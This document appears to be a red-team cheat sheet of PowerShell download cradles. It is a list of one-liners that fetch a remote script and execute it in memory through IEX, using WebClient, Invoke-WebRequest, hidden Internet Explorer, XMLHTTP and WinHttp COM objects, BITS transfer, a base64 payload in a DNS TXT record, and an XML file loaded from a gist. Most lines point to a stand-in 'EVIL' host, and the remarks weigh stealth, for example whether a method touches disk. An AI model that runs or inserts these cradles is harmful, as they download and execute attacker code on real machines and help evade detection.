IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

PowerShell 3.0+

IEX (iwr 'http://EVIL/evil.ps1')

hidden IE com object

$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX$r

Msxml2.XMLHTTP COM object

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

WinHttp COM object (not proxy aware!)

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

using bitstransfer- touches disk!

Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm$env:temp\t; iex $r

DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)

code to execute needs to be a base64 encoded string stored in a TXT record

IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))

from @subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d

<#

Get-Process #> $a = New-Object System.Xml.XmlDocument $a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt") $a.command.a.execute | iex